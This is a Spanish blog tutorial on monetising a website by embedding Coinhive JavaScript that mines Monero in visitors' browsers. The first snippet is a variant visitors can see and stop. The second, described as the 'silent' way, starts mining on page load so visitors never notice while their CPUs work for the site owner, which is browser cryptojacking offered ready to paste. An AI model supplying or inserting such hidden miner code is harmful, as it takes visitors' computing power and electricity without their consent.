Codigos Web / Marketing Online en General

Como minar monero en tu web

Woow! ¿Eres de los que les apasionan las monedas virtuales?, ¿o eres de los que piensan que es más rentable minar monero en tu web como forma de monetización que otras plataformas como Adsense?

En este artículo te voy a enseñar a minar la moneda virtual Monero (XMR) en tu web de dos maneras: La forma “silenciosa” y la forma “consciente”. Disponemos de un trozo de código en Javascript y html para insertarlo directamente en el header de tu web.

Para conseguir nuestro objetivo lo haremos mediante la web coin-hive.com, la cual es la plataforma con la que gestionaremos la minería de Monero y podremos ver las estadísticas, extraerlos a nuestro monedero…etc. Hay que decir que hay un mínimo de 0.5XMR para poder extraerlos. También comentar que este método, en mi opinión, parece adecuado cuando ya tenemos bastantes visitas en nuestra web, y mejor aún si estas visitas tienen alta permanencia en el sitio, pero esto ya lo dejo a elección de cada uno.

Nos registramos en la web. Una vez que podamos acceder a nuestro panel, ahora podremos minar nosotros en la página principal en donde pone “START MINING”. Como vemos, podemos aumentar los Threads, y mientras más aumentemos, más consumo de CPU ( Escucharemos el ventilador de nuestro pc, trabajando =) )

 

Minar Monero en tu web de forma Consciente

En esta modalidad, es en la que el visitante es consciente de que se está minando monero en la web que está visitando y el mismo puede elegir si finalizar la minería o aumentarle la potencia (más minado, pero más consumo de CPU).

 

A continuación el código para copiar/pegar en nuestro header de nuestra web:

  1. <script src="https://coin-hive.com/lib/coinhive.min.js"></script>
  2.  
  3. El visitante puede controlar la potencia del minado, o apagarlo
  4.  
  5. &nbsp;
  6.  
  7. <button>Menos Threads</button><button>Más Threads</button>
  8.  
  9. &nbsp;
  10.  
  11. <script type="text/javascript">
  12. var miner = new CoinHive.Anonymous('PEGAMOS AQUÍ NUESTRO SITEKEY (PUBLIC)');
  13. miner.setNumThreads(1)
  14. miner.start(CoinHive.FORCE_EXCLUSIVE_TAB);
  15. // Update stats once per second
  16. setInterval(function() {
  17.     var threadCount = miner.getNumThreads();
  18.     var hashesPerSecond = Math.round(miner.getHashesPerSecond() * 100) / 100;
  19.     var totalHashes = miner.getTotalHashes();
  20.     var acceptedHashes = miner.getAcceptedHashes() / 256;
  21.     // Output to HTML elements...
  22.     if (miner.isRunning()) {
  23.         document.getElementById("tcount").innerHTML = "Threads: " + threadCount;
  24.         document.getElementById("hps").innerHTML = "hashes per second: " + hashesPerSecond;
  25.         document.getElementById("ths").innerHTML = "Total Hashes: " + totalHashes;
  26.         document.getElementById("tah").innerHTML = "Accepted Hashes: " + acceptedHashes;
  27.         document.getElementById("minebutton").innerHTML = "<button onclick=\"miner.stop()\">Stop Mining</button>";
  28.     } else {
  29.         document.getElementById("hps").innerHTML = "Please click start";
  30.         document.getElementById("ths").innerHTML = "to support";
  31.         document.getElementById("tah").innerHTML = "this site";
  32.         document.getElementById("minebutton").innerHTML = "<button onclick=\"miner.start(CoinHive.FORCE_EXCLUSIVE_TAB)\">Start Mining</button>";
  33.     }
  34. }, 1000);
  35. </script>

*Para obtener el SITEKEY (Public): En nuestra cuenta de Coinhive.com » Settings » Sites & API Keys (Copiamos la Site Key (public)).
*miner.setNumThreads(1) En esta línea podemos controlar con cuántos threads se comenzará a minar.

Ejemplo de minación de Monero en mi web. Cuidado! Estarás minando para mí =)

 

Minar Monero en tu web de forma Silenciosa

En esta modalidad, el visitante navegará tranquilamente por nuestra web sin darse cuenta de que está minando (aunque su pc puede estar echando humo). Plataformas como The Pirate Bay lo utiliza en su web de manera silenciosa.

Aquí es muy importante la línea que comentabamos antes de “miner.setNumThreads(1)”, que por defecto empezará en 1.

  1. <script src="https://coin-hive.com/lib/coinhive.min.js"></script>
  2. <script type="text/javascript">
  3. var miner = new CoinHive.Anonymous('PEGAMOS AQUÍ NUESTRO SITEKEY (PUBLIC)');
  4. miner.setNumThreads(1)
  5. miner.start(CoinHive.FORCE_EXCLUSIVE_TAB);
  6. </script>

*Para obtener el SITEKEY (Public): En nuestra cuenta de Coinhive.com » Settings » Sites & API Keys (Copiamos la Site Key (public)).

Y esto es todo lo que hay que hacer para minar Monero en tu web de forma fácil, copiando y pegando un trozo de código para implementar este sistema en tu sitio =)

No comments